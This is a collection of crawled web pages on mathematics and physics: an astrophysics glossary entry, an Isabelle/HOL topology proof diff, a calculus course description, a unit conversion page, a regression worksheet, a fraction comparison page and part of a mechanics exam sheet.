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http://vaporia.com/astro/start/momentofinertiafactor.html | [
"Astrophysics (Index) About\n\n### moment of inertia factor\n\n(characterization of mass distribution within a planet)\n\nA body's moment of inertia factor (short for polar moment of inertia factor, the one of interest) is a measure that characterizes the mass distribution within the body, of use in working out the dynamics of bodies' rotation, useful for objects such as stars, planets, and moons. It is independent of the object's mass and radius, and is a scalar within the range of 0 to 1. Example (polar) moment of inertia factor values:\n\n sphere of uniform density 0.4 sphere with higher density away from the axis >0.4 sphere with higher density nearer the axis <0.4 Sun 0.070 Mercury 0.346 Earth 0.3307 Moon 0.3929 Mars 0.3662 Jupiter 0.254 Saturn 0.210 Uranus 0.23 Neptune 0.23\n\nA smaller number indicates more mass toward the axis, which is the case of a body with a dense \"core\", and a body's higher total mass and lower rigidity contribute to this. The number is of interest regarding the rotation-history of the object, such as the timescale necessary for tidal forces to produce tidal locking.\n\nA spherical object's polar moment of inertia factor is:\n\n```C/MR²\n```\n• C - polar moment of inertia.\n• M - object's mass.\n• R - object's radius.\n\nThe object's polar moment of inertia (moment of inertia around its axis of rotation) is a scalar characterizing the object's implied resistance around its axis of rotation. Such a moment of inertia of an object with respect to an axis is a measure of the ratio between a torque on the object with respect to that axis and the angular acceleration yielded by that torque:\n\n```C = L/ω\nor\nC = τ/α\n```\n\nFor the axis of C:\n\n• C - moment of inertia.\n• L - angular momentum.\n• ω - angular velocity.\n• τ - torque.\n• α - angular acceleration.\n\nThe less-specific term, moment of inertia includes all the information to characterize an object's resistance to torque along any axis through its center of mass, i.e., the force it would take to change its rotation (much like the way mass determines what linear acceleration results from a given force). A single scalar is insufficient to hold all this information, which is generally represented as a 3×3 matrix, specifically a 3×3 tensor.\n\n(physics,measure)\nFurther reading:\nhttp://en.wikipedia.org/wiki/Moment_of_inertia_factor\nhttp://en.wikipedia.org/wiki/Moment_of_inertia\nhttps://geo.libretexts.org/Courses/University_of_California_Davis/UCD_GEL_56_-_Introduction_to_Geophysics/Geophysics_is_everywhere_in_geology.../03%3A_Planetary_Geophysics/3.02%3A_Layered_Structure_of_a_Planet\n\nIndex"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9058791,"math_prob":0.9287121,"size":1950,"snap":"2021-04-2021-17","text_gpt3_token_len":462,"char_repetition_ratio":0.13977389,"word_repetition_ratio":0.006134969,"special_character_ratio":0.24358974,"punctuation_ratio":0.1007752,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9930583,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-23T04:28:00Z\",\"WARC-Record-ID\":\"<urn:uuid:4a3666a1-67bf-4763-b6bd-29f2bc7780ad>\",\"Content-Length\":\"4793\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:915df11f-f29d-443d-9524-5116ad1a23c1>\",\"WARC-Concurrent-To\":\"<urn:uuid:f4b937bd-a39a-4418-b120-c0c6e9754f3f>\",\"WARC-IP-Address\":\"129.121.16.213\",\"WARC-Target-URI\":\"http://vaporia.com/astro/start/momentofinertiafactor.html\",\"WARC-Payload-Digest\":\"sha1:N5GWS6WCUE5UERX56PQOG5OVYYWKPW3W\",\"WARC-Block-Digest\":\"sha1:NDRQYTKTTUFHHYQ5CW4BJRNG5NSUAEWW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618039601956.95_warc_CC-MAIN-20210423041014-20210423071014-00625.warc.gz\"}"} |
https://isabelle.in.tum.de/repos/isabelle/rev/b61b32f62c78 | [
"author hoelzl Tue, 05 Mar 2013 15:43:14 +0100 changeset 51343 b61b32f62c78 parent 51342 763c6872bd10 child 51344 b3d246c92dfb\nuse generate_topology for second countable topologies, does not require intersection stable basis\n```--- a/src/HOL/Multivariate_Analysis/Topology_Euclidean_Space.thy\tTue Mar 05 15:43:13 2013 +0100\n+++ b/src/HOL/Multivariate_Analysis/Topology_Euclidean_Space.thy\tTue Mar 05 15:43:14 2013 +0100\n@@ -40,9 +40,10 @@\nbegin\n\ndefinition \"topological_basis B =\n- ((\\<forall>b\\<in>B. open b) \\<and> (\\<forall>x. open x \\<longrightarrow> (\\<exists>B'. B' \\<subseteq> B \\<and> Union B' = x)))\"\n-\n-lemma \"topological_basis B = (\\<forall>x. open x \\<longleftrightarrow> (\\<exists>B'. B' \\<subseteq> B \\<and> Union B' = x))\"\n+ ((\\<forall>b\\<in>B. open b) \\<and> (\\<forall>x. open x \\<longrightarrow> (\\<exists>B'. B' \\<subseteq> B \\<and> \\<Union>B' = x)))\"\n+\n+lemma topological_basis:\n+ \"topological_basis B = (\\<forall>x. open x \\<longleftrightarrow> (\\<exists>B'. B' \\<subseteq> B \\<and> \\<Union>B' = x))\"\nunfolding topological_basis_def\napply safe\napply fastforce\n@@ -100,6 +101,19 @@\nusing assms\n\n+lemma topological_basis_imp_subbasis:\n+ assumes B: \"topological_basis B\" shows \"open = generate_topology B\"\n+proof (intro ext iffI)\n+ fix S :: \"'a set\" assume \"open S\"\n+ with B obtain B' where \"B' \\<subseteq> B\" \"S = \\<Union>B'\"\n+ unfolding topological_basis_def by blast\n+ then show \"generate_topology B S\"\n+ by (auto intro: generate_topology.intros dest: topological_basis_open)\n+next\n+ fix S :: \"'a set\" assume \"generate_topology B S\" then show \"open S\"\n+ by induct (auto dest: topological_basis_open[OF B])\n+qed\n+\nlemma basis_dense:\nfixes B::\"'a set set\" and f::\"'a set \\<Rightarrow> 'a\"\nassumes \"topological_basis B\"\n@@ -269,11 +283,56 @@\nqed\n\nclass second_countable_topology = topological_space +\n- assumes ex_countable_basis:\n- \"\\<exists>B::'a::topological_space set set. countable B \\<and> topological_basis B\"\n-\n-sublocale second_countable_topology < countable_basis \"SOME B. countable B \\<and> topological_basis B\"\n- using someI_ex[OF ex_countable_basis] by unfold_locales safe\n+ assumes ex_countable_subbasis: \"\\<exists>B::'a::topological_space set set. countable B \\<and> open = generate_topology B\"\n+begin\n+\n+lemma ex_countable_basis: \"\\<exists>B::'a set set. countable B \\<and> topological_basis B\"\n+proof -\n+ from ex_countable_subbasis obtain B where B: \"countable B\" \"open = generate_topology B\" by blast\n+ let ?B = \"Inter ` {b. finite b \\<and> b \\<subseteq> B }\"\n+\n+ show ?thesis\n+ proof (intro exI conjI)\n+ show \"countable ?B\"\n+ by (intro countable_image countable_Collect_finite_subset B)\n+ { fix S assume \"open S\"\n+ then have \"\\<exists>B'\\<subseteq>{b. finite b \\<and> b \\<subseteq> B}. (\\<Union>b\\<in>B'. \\<Inter>b) = S\"\n+ unfolding B\n+ proof induct\n+ case UNIV show ?case by (intro exI[of _ \"{{}}\"]) simp\n+ next\n+ case (Int a b)\n+ then obtain x y where x: \"a = UNION x Inter\" \"\\<And>i. i \\<in> x \\<Longrightarrow> finite i \\<and> i \\<subseteq> B\"\n+ and y: \"b = UNION y Inter\" \"\\<And>i. i \\<in> y \\<Longrightarrow> finite i \\<and> i \\<subseteq> B\"\n+ by blast\n+ show ?case\n+ unfolding x y Int_UN_distrib2\n+ by (intro exI[of _ \"{i \\<union> j| i j. i \\<in> x \\<and> j \\<in> y}\"]) (auto dest: x(2) y(2))\n+ next\n+ case (UN K)\n+ then have \"\\<forall>k\\<in>K. \\<exists>B'\\<subseteq>{b. finite b \\<and> b \\<subseteq> B}. UNION B' Inter = k\" by auto\n+ then guess k unfolding bchoice_iff ..\n+ then show \"\\<exists>B'\\<subseteq>{b. finite b \\<and> b \\<subseteq> B}. UNION B' Inter = \\<Union>K\"\n+ by (intro exI[of _ \"UNION K k\"]) auto\n+ next\n+ case (Basis S) then show ?case\n+ by (intro exI[of _ \"{{S}}\"]) auto\n+ qed\n+ then have \"(\\<exists>B'\\<subseteq>Inter ` {b. finite b \\<and> b \\<subseteq> B}. \\<Union>B' = S)\"\n+ unfolding subset_image_iff by blast }\n+ then show \"topological_basis ?B\"\n+ unfolding topological_space_class.topological_basis_def\n+ by (safe intro!: topological_space_class.open_Inter)\n+ (simp_all add: B generate_topology.Basis subset_eq)\n+ qed\n+qed\n+\n+end\n+\n+sublocale second_countable_topology <\n+ countable_basis \"SOME B. countable B \\<and> topological_basis B\"\n+ using someI_ex[OF ex_countable_basis]\n+ by unfold_locales safe\n\ninstance prod :: (second_countable_topology, second_countable_topology) second_countable_topology\nproof\n@@ -282,8 +341,9 @@\nmoreover\nobtain B :: \"'b set set\" where \"countable B\" \"topological_basis B\"\nusing ex_countable_basis by auto\n- ultimately show \"\\<exists>B::('a \\<times> 'b) set set. countable B \\<and> topological_basis B\"\n- by (auto intro!: exI[of _ \"(\\<lambda>(a, b). a \\<times> b) ` (A \\<times> B)\"] topological_basis_prod)\n+ ultimately show \"\\<exists>B::('a \\<times> 'b) set set. countable B \\<and> open = generate_topology B\"\n+ by (auto intro!: exI[of _ \"(\\<lambda>(a, b). a \\<times> b) ` (A \\<times> B)\"] topological_basis_prod\n+ topological_basis_imp_subbasis)\nqed\n\ninstance second_countable_topology \\<subseteq> first_countable_topology\n@@ -5706,9 +5766,6 @@\nthen have b: \"\\<And>f. (\\<Sum>i\\<in>Basis. snd (f i) *\\<^sub>R i) = b f\" by simp\ndef B \\<equiv> \"(\\<lambda>f. box (a f) (b f)) ` (Basis \\<rightarrow>\\<^isub>E (\\<rat> \\<times> \\<rat>))\"\n\n- have \"countable B\" unfolding B_def\n- by (intro countable_image countable_PiE finite_Basis countable_SIGMA countable_rat)\n- moreover\nhave \"Ball B open\" by (simp add: B_def open_box)\nmoreover have \"(\\<forall>A. open A \\<longrightarrow> (\\<exists>B'\\<subseteq>B. \\<Union>B' = A))\"\nproof safe\n@@ -5720,7 +5777,12 @@\ndone\nqed\nultimately\n- show \"\\<exists>B::'a set set. countable B \\<and> topological_basis B\" unfolding topological_basis_def by blast\n+ have \"topological_basis B\" unfolding topological_basis_def by blast\n+ moreover\n+ have \"countable B\" unfolding B_def\n+ by (intro countable_image countable_PiE finite_Basis countable_SIGMA countable_rat)\n+ ultimately show \"\\<exists>B::'a set set. countable B \\<and> open = generate_topology B\"\n+ by (blast intro: topological_basis_imp_subbasis)\nqed\n\ninstance euclidean_space \\<subseteq> polish_space ..```\n```--- a/src/HOL/Probability/Discrete_Topology.thy\tTue Mar 05 15:43:13 2013 +0100\n+++ b/src/HOL/Probability/Discrete_Topology.thy\tTue Mar 05 15:43:14 2013 +0100\n@@ -50,15 +50,13 @@\n\ninstance discrete :: (countable) second_countable_topology\nproof\n- let ?B = \"(range (\\<lambda>n::nat. {from_nat n::'a discrete}))\"\n- have \"topological_basis ?B\"\n- proof (intro topological_basisI)\n- fix x::\"'a discrete\" and O' assume \"open O'\" \"x \\<in> O'\"\n- thus \"\\<exists>B'\\<in>range (\\<lambda>n. {from_nat n}). x \\<in> B' \\<and> B' \\<subseteq> O'\"\n- by (auto intro: exI[where x=\"to_nat x\"])\n+ let ?B = \"range (\\<lambda>n::'a discrete. {n})\"\n+ have \"\\<And>S. generate_topology ?B (\\<Union>x\\<in>S. {x})\"\n+ by (intro generate_topology_Union) (auto intro: generate_topology.intros)\n+ then have \"open = generate_topology ?B\"\n+ by (auto intro!: ext simp: open_discrete_def)\nmoreover have \"countable ?B\" by simp\n- ultimately show \"\\<exists>B::'a discrete set set. countable B \\<and> topological_basis B\" by blast\n+ ultimately show \"\\<exists>B::'a discrete set set. countable B \\<and> open = generate_topology B\" by blast\nqed\n\ninstance discrete :: (countable) polish_space ..```\n```--- a/src/HOL/Probability/Fin_Map.thy\tTue Mar 05 15:43:13 2013 +0100\n+++ b/src/HOL/Probability/Fin_Map.thy\tTue Mar 05 15:43:14 2013 +0100\n@@ -605,7 +605,7 @@\nshows \"open x\"\nusing finmap_topological_basis assms by (auto simp: topological_basis_def)\n\n-instance proof qed (blast intro: finmap_topological_basis countable_basis_finmap)\n+instance proof qed (blast intro: finmap_topological_basis countable_basis_finmap topological_basis_imp_subbasis)\n\nend\n```"
] | [
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https://www.fit.vut.cz/study/course/12756/ | [
"Course details\n\n# Mathematical Analysis\n\nIMA Acad. year 2018/2019 Summer semester 6 credits\n\nLimit and continuity, derivative of a function. Partial derivatives. Basic differentiation rules. Elementary functions. Extrema for functions (of one and of several variables). Indefinite integral. Techniques of integration. The Riemann (definite) integral. Multiple integrals. Applications of integrals. Infinite sequences and infinite series. Taylor polynomials.\n\nGuarantor\n\nDeputy Guarantor\n\nLanguage of instruction\n\nCzech\n\nCompletion\n\nExamination (written)\n\nTime span\n\n39 hrs lectures, 20 hrs pc labs, 6 hrs projects\n\nAssessment points\n\n60 exam, 28 half-term test, 12 projects\n\nDepartment\n\nLecturer\n\nInstructor\n\nSubject specific learning outcomes and competences\n\nThe ability of orientation in the basic problems of higher mathematics and the ability to apply the basic methods. Solving problems in the areas cited in the annotation above by using basic rules. Solving these problems by using modern mathematical software.\n\nLearning objectives\n\nThe main goal of the calculus course is to explain the basic principles and methods of higher mathematics that are necessary for the study of computer science. The practical aspects of applications of these methods and their use in solving concrete problems (including the application of contemporary mathematical software in the laboratories) are emphasized.\n\nPrerequisite kwnowledge and skills\n\nSecondary school mathematics and the kowledge from Discrete Mathematics course.\n\nStudy literature\n\n• Brabec B., Hrůza,B., Matematická analýza II, SNTL, Praha, 1986.\n• Švarc, S. a kol., Matematická analýza I, PC DIR, Brno, 1997.\n• Krupková, V. Matematická analýza pro FIT, electronical textbook, 2007.\n\nFundamental literature\n\n• Edwards, C.H., Penney, D.E., Calculus with Analytic Geometry, Prentice Hall, 1993.\n• Fong, Y., Wang, Y., Calculus, Springer, 2000.\n• Ross, K.A., Elementary analysis: The Theory of Calculus, Springer, 2000.\n• Small, D.B., Hosack, J.M., Calculus (An Integrated Approach), Mc Graw-Hill Publ. Comp., 1990.\n• Thomas, G.B., Finney, R.L., Calculus and Analytic Geometry, Addison-Wesley Publ. Comp., 1994.\n• Zill, D.G., A First Course in Differential Equations, PWS-Kent Publ. Comp., 1992.\n\nSyllabus of lectures\n\n1. Function of one variable, limit, continuity.\n2. Differential calculus of functions of one variable I: derivative, differential, Taylor theorem.\n3. Differential calculus of functions of one variable II: maximum, minimum, behaviour of the function.\n4. Integral calculus of functions of one variable I: indefinite integral, basic methods of integration.\n5. Integral calculus of functions of one variable II: definite Riemann integral and its application.\n6. Infinite number and power series.\n7. Taylor series.\n8. Functions of two and three variables, geometry and mappings in three-dimensional space.\n9. Differential calculus of functions of more variables I: directional and partial derivatives, Taylor theorem.\n10. Differential calculus of functions of more variables II: funcional extrema, absolute and bound extrema.\n11. Integral calculus of functions of more variables I: two and three-dimensional integrals.\n12. Integral calculus of functions of more variables II: method of substitution in two and three-dimensional integrals.\n\nSyllabus of numerical exercises\n\nThe class work is prepared in accordance with the lecture.\n\nSyllabus - others, projects and individual work of students\n\n• Limit, continuity and derivative of a function. Partial derivative. Derivative of a composite function.\n• Differential of function of one and several variables. L'Hospital's rule. Behaviour of continuous and differentiable function. Extrema of functions of one and several variables.\n• Primitive function and undefinite integral. Basic methods of integration. Definite one-dimensional and multidimensional integral.\n• Methods for solution of definite integrals (Newton-Leibnitz formula, Fubini theorem).\n• Indefinite number series. Convergence of series. Sequences and series of functions. Taylor theorem. Power series.\n\nProgress assessment\n\nPractice tasks: 28 points.\nHomeworks: 12 points.\nSemestral examination: 60 points.\n\nCourse inclusion in study plans\n\n• Programme IT-BC-3, field BIT, 1st year of study, Compulsory"
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https://www.coolstuffshub.com/weight/convert/9-grains-to-metric-tons-(or-tonnes)/ | [
"# Convert 9 grains to metric tons (or tonnes) (9 gr to t conversion)\n\n## 9 grains is equal to how many metric tons (or tonnes)?\n\n9 grains is equal to 5.832 × 10-7 metric tons (or tonnes).\n\n## How many metric tons (or tonnes) are in 9 grains?\n\nThere are 5.832 × 10-7 metric tons (or tonnes) in 9 grains.\n\n• 9 grains = 5.832 × 10-7 metric tons (or tonnes)\n• 9.1 grains = 5.8968 × 10-7 metric tons (or tonnes)\n• 9.2 grains = 5.9616 × 10-7 metric tons (or tonnes)\n• 9.3 grains = 6.0264 × 10-7 metric tons (or tonnes)\n• 9.4 grains = 6.0912 × 10-7 metric tons (or tonnes)\n• 9.5 grains = 6.156 × 10-7 metric tons (or tonnes)\n• 9.6 grains = 6.2208 × 10-7 metric tons (or tonnes)\n• 9.7 grains = 6.2856 × 10-7 metric tons (or tonnes)\n• 9.8 grains = 6.3504 × 10-7 metric tons (or tonnes)\n• 9.9 grains = 6.4152 × 10-7 metric tons (or tonnes)\n\n## How to convert 9 grains to metric tons (or tonnes)?\n\nTo convert 9 grains to metric tons (or tonnes), multiply the value in grains by 6.48 × 10-8.\n\n### What is the formula to convert 9 grains to metric tons (or tonnes)?\n\nThe conversion formula to convert 9 grains to metric tons (or tonnes) is :\nmetric tons (or tonnes) = grains × 6.48 × 10-8\n\n### What is the conversion factor to convert 9 grains to metric tons (or tonnes)?\n\nThe conversion factor to convert 9 grains to metric tons (or tonnes) is 6.48E-8\n\n### Examples to convert gr to t\n\n#### Example 1\n\nConvert 9.2 gr to t.\n\nSolution:\nConverting from grains to metric tons (or tonnes) is very easy.\nWe know that 1 gr = 6.48 × 10-8 t.\n\nSo, to convert 9.2 gr to t, multiply 9.2 gr by 6.48 × 10-8 t.\n\n9.2 gr = 9.2 × 6.48 × 10-8 t\n9.2 gr = 5.9616 × 10-7 t\n\nTherefore, 9.2 grains converted to metric tons (or tonnes) is equal to 5.9616 × 10-7 t.\n\n#### Example 2\n\nConvert 9.8 gr to t.\n\nSolution:\n1 gr = 6.48 × 10-8 t\n\nSo, 9.8 gr = 9.8 × 6.48 × 10-8 t\n9.8 gr = 6.3504 × 10-7 t\n\nTherefore, 9.8 gr converted to t is equal to 6.3504 × 10-7 t.\n\nIf you don't want to do the calculation from 9 grains to metric tons (or tonnes) manually, you can simply use our 9 grains to metric tons (or tonnes) calculator.\n\n### How to use the 9 grains to metric tons (or tonnes) converter?\n\nTo use the 9 grains to metric tons (or tonnes) converter, follow these steps:\n\n1. Enter the value in grains that you want to convert.\n2. Click \"Convert\".\n3. To copy the conversion steps, click \"Copy\".\n4. To report an incorrect conversion, click \"Report incorrect conversion\".\n5. To reset the converter, click \"Reset\".\n6. To convert metric tons (or tonnes) to grains, click \"Swap\".\n7. To convert between other units of weight, select the units from the drop-down menus.\n\n## Grains to metric tons (or tonnes) conversion table\n\nThe grains to metric tons (or tonnes) conversion chart below shows a list of various grains values converted to metric tons (or tonnes)\n\nGrains (gr) Metric tons (or tonnes) (t)\n9 gr 5.832 × 10-7 t\n9.05 gr 5.8644 × 10-7 t\n9.1 gr 5.8968 × 10-7 t\n9.15 gr 5.9292 × 10-7 t\n9.2 gr 5.9616 × 10-7 t\n9.25 gr 5.994 × 10-7 t\n9.3 gr 6.0264 × 10-7 t\n9.35 gr 6.0588 × 10-7 t\n9.4 gr 6.0912 × 10-7 t\n9.45 gr 6.1236 × 10-7 t\n9.5 gr 6.156 × 10-7 t\n9.55 gr 6.1884 × 10-7 t\n9.6 gr 6.2208 × 10-7 t\n9.65 gr 6.2532 × 10-7 t\n9.7 gr 6.2856 × 10-7 t\n9.75 gr 6.318 × 10-7 t\n9.8 gr 6.3504 × 10-7 t\n9.85 gr 6.3828 × 10-7 t\n9.9 gr 6.4152 × 10-7 t\n9.95 gr 6.4476 × 10-7 t\n\n## Grains (gr)\n\n### 9 grains equivalents in other weight units\n\n• 9 grains = 2.915955 carats\n• 9 grains = 0.5831901 grams\n• 9 grains = 0.0005831901 kilograms\n• 9 grains = 1.147959 × 10-5 long hundredweights (UK)\n• 9 grains = 5.742 × 10-7 long tons (UK)\n• 9 grains = 5.832 × 10-7 metric tons (or tonnes)\n• 9 grains = 583190.1 micrograms\n• 9 grains = 583.2 milligrams\n• 9 grains = 0.02057139 ounces\n• 9 grains = 0.3750003 pennyweights\n• 9 grains = 0.001285713 pounds\n• 9 grains = 1.285713 × 10-5 short hundredweights (US)\n• 9 grains = 6.426 × 10-7 short tons (US)\n• 9 grains = 9.18369 × 10-5 stones\n• 9 grains = 0.01874997 troy ounces\n• 9 grains = 0.001562499 troy pounds\n\n## Metric tons (or tonnes) (t)\n\n### 9 metric tons (or tonnes) to grains conversion (t to gr)\n\n• 9 metric tons (or tonnes) = 138891225.15 grains\n• 9.1 metric tons (or tonnes) = 140434460.985 grains\n• 9.2 metric tons (or tonnes) = 141977696.82 grains\n• 9.3 metric tons (or tonnes) = 143520932.655 grains\n• 9.4 metric tons (or tonnes) = 145064168.49 grains\n• 9.5 metric tons (or tonnes) = 146607404.325 grains\n• 9.6 metric tons (or tonnes) = 148150640.16 grains\n• 9.7 metric tons (or tonnes) = 149693875.995 grains\n• 9.8 metric tons (or tonnes) = 151237111.83 grains\n• 9.9 metric tons (or tonnes) = 152780347.665 grains\n\n### 9 metric tons (or tonnes) equivalents in other weight units\n\n• 9 metric tons (or tonnes) = 45000000 carats\n• 9 metric tons (or tonnes) = 138891225.15 grains\n• 9 metric tons (or tonnes) = 9000000 grams\n• 9 metric tons (or tonnes) = 9000 kilograms\n• 9 metric tons (or tonnes) = 177.12 long hundredweights (UK)\n• 9 metric tons (or tonnes) = 8.857863 long tons (UK)\n• 9 metric tons (or tonnes) = 9000000000000 micrograms\n• 9 metric tons (or tonnes) = 9000000000 milligrams\n• 9 metric tons (or tonnes) = 317466 ounces\n• 9 metric tons (or tonnes) = 5787133.83 pennyweights\n• 9 metric tons (or tonnes) = 19841.58 pounds\n• 9 metric tons (or tonnes) = 198.45 short hundredweights (US)\n• 9 metric tons (or tonnes) = 9.9 short tons (US)\n• 9 metric tons (or tonnes) = 1417.23 stones\n• 9 metric tons (or tonnes) = 289357.2 troy ounces\n• 9 metric tons (or tonnes) = 24113.07 troy pounds"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.73135126,"math_prob":0.997669,"size":5495,"snap":"2023-40-2023-50","text_gpt3_token_len":2065,"char_repetition_ratio":0.38481152,"word_repetition_ratio":0.21042831,"special_character_ratio":0.46078253,"punctuation_ratio":0.13524264,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9561744,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-30T09:41:33Z\",\"WARC-Record-ID\":\"<urn:uuid:aa5b9d63-ab5a-484c-a672-81ebf7aaea37>\",\"Content-Length\":\"76328\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:29348b5f-ca98-4e33-bd6d-b85f5065573c>\",\"WARC-Concurrent-To\":\"<urn:uuid:5bb3af89-f8dd-4d2d-823d-b2e0eda25c85>\",\"WARC-IP-Address\":\"3.210.81.252\",\"WARC-Target-URI\":\"https://www.coolstuffshub.com/weight/convert/9-grains-to-metric-tons-(or-tonnes)/\",\"WARC-Payload-Digest\":\"sha1:EJA37X3YLP56LQB2B7V6NQW6GAGPKMMJ\",\"WARC-Block-Digest\":\"sha1:V3LOFBG6JDJP4LXMPOPQ6RFAUAEGDR3R\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510671.0_warc_CC-MAIN-20230930082033-20230930112033-00131.warc.gz\"}"} |
https://stats.libretexts.org/Courses/El_Camino_College/Test1/12%3A_Linear_Regression_and_Correlation/12.09%3A_Regression_-_Textbook_Cost_(Worksheet) | [
"Skip to main content\n\n# 12.9: Regression - Textbook Cost (Worksheet)\n\nName: ______________________________\n\nSection: _____________________________\n\nStudent ID#:__________________________\n\nWork in groups on these problems. You should try to answer the questions without referring to your textbook. If you get stuck, try asking another group for help.\n\nStudent Learning Outcomes\n\n• The student will calculate and construct the line of best fit between two variables.\n• The student will evaluate the relationship between two variables to determine if that relationship is significant.\n\nCollect the Data\n\nSurvey ten textbooks. Collect bivariate data (number of pages in a textbook, the cost of the textbook).\n\n1. Complete the table.\nNumber of pages Cost of textbook\n2. Which variable should be the dependent variable and which should be the independent variable? Why?\n3. Graph “pages” vs. “cost.” Plot the points on the graph in Analyze the Data. Label both axes with words. Scale both axes.\n\nAnalyze the Data\n\nEnter your data into your calculator or computer. Write the linear equation, rounding to four decimal places.\n\n1. Calculate the following:\n1. $$a =$$ ______\n2. $$b =$$ ______\n3. correlation = ______\n4. $$n =$$ ______\n5. equation: $$\\hat{y} =$$ ______\n6. Is the correlation significant? Why or why not? (Answer in complete sentences.)\n2. Supply an answer for the following senarios:\n1. For a textbook with 400 pages, predict the cost.\n2. For a textbook with 600 pages, predict the cost.\n3. Obtain the graph on your calculator or computer. Sketch the regression line.",
null,
"Figure 12.9.1.\n\nDiscussion Questions\n\n1. Answer each question in complete sentences.\n1. Does the line seem to fit the data? Why?\n2. What does the correlation imply about the relationship between the number of pages and the cost?\n2. Are there any outliers? If so, which point(s) is an outlier?\n3. Should the outlier, if it exists, be removed? Why or why not?"
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"http://cnx.org/resources/fff772d27029cb8e720c8be9db336c968f835d22/fig-ch12_15_01.png",
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https://answers.everydaycalculation.com/compare-fractions/2-3-and-3-4 | [
"# Answers\n\nSolutions by everydaycalculation.com\n\n## Compare 2/3 and 3/4\n\n2/3 is smaller than 3/4\n\n#### Steps for comparing fractions\n\n1. Find the least common denominator or LCM of the two denominators:\nLCM of 3 and 4 is 12\n\nNext, find the equivalent fraction of both fractional numbers with denominator 12\n2. For the 1st fraction, since 3 × 4 = 12,\n2/3 = 2 × 4/3 × 4 = 8/12\n3. Likewise, for the 2nd fraction, since 4 × 3 = 12,\n3/4 = 3 × 3/4 × 3 = 9/12\n4. Since the denominators are now the same, the fraction with the bigger numerator is the greater fraction\n5. 8/12 < 9/12 or 2/3 < 3/4\n\nMathStep (Works offline)",
null,
"Download our mobile app and learn to work with fractions in your own time:\nAndroid and iPhone/ iPad\n\n#### Compare Fractions Calculator\n\nand\n\n© everydaycalculation.com"
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9050924,"math_prob":0.9958298,"size":419,"snap":"2021-04-2021-17","text_gpt3_token_len":194,"char_repetition_ratio":0.32289156,"word_repetition_ratio":0.0,"special_character_ratio":0.46778044,"punctuation_ratio":0.034188036,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99480504,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-17T17:20:22Z\",\"WARC-Record-ID\":\"<urn:uuid:670329a0-1cea-46e0-8ec4-67a1f86e0d51>\",\"Content-Length\":\"8434\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:fdf6af4d-87ff-409b-906b-6ed62104cb7c>\",\"WARC-Concurrent-To\":\"<urn:uuid:23fa0bbd-8ef4-4ac6-bed9-6dfb7a45a58d>\",\"WARC-IP-Address\":\"96.126.107.130\",\"WARC-Target-URI\":\"https://answers.everydaycalculation.com/compare-fractions/2-3-and-3-4\",\"WARC-Payload-Digest\":\"sha1:QRFQETOZE36OMCJ6DL57E3MWPZJOU6DL\",\"WARC-Block-Digest\":\"sha1:5IXVDLIR6MBVSD34CQMZNTJ5B7NLE63Y\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038461619.53_warc_CC-MAIN-20210417162353-20210417192353-00620.warc.gz\"}"} |
https://stemcie.com/view/138 | [
"$\\require{\\cancel}$ $\\require{\\stix[upint]}$\n\n### HENRYTAIGO\n\n#### Cambridge International AS and A Level\n\n Name of student HENRYTAIGO Date Adm. number Year/grade HenryTaigo Stream HenryTaigo Subject Mechanics 1 (M1) Variant(s) P41, P42, P43 Start time Duration Stop time\n\nQtn No. 1 2 3 Total\nMarks 10 11 10 31\nScore\n\nGet Mathematics 9709 Topical Questions (2010-2021) for $14.5 per Subject. Attempt all the 3 questions Question 1 Code: 9709/41/O/N/11/7, Topic: - A particle$P$starts from a point$O$and moves along a straight line.$P$'s velocity$t$s after leaving$O$is$v \\mathrm{~m} \\mathrm{~s}^{-1}$, where $$v=0.16 t^{\\frac{3}{2}}-0.016 t^{2}$$$P$comes to rest instantaneously at the point$A$.$\\text{(i)}$Verify that the value of$t$when$P$is at$A$is 100.$\\text{(ii)}$Find the maximum speed of$P$in the interval$0< t <100$.$\\text{(iii)}$Find the distance$O A$.$\\text{(iv)}$Find the value of$t$when$P$passes through$O$on returning from$A$.$$Question 2 Code: 9709/42/O/N/11/7, Topic: - A tractor travels in a straight line from a point$A$to a point$B$. The velocity of the tractor is$v \\mathrm{~m} \\mathrm{~s}^{-1}$at time$t \\mathrm{~s}$after leaving$A$.$\\text{(i)}$",
null,
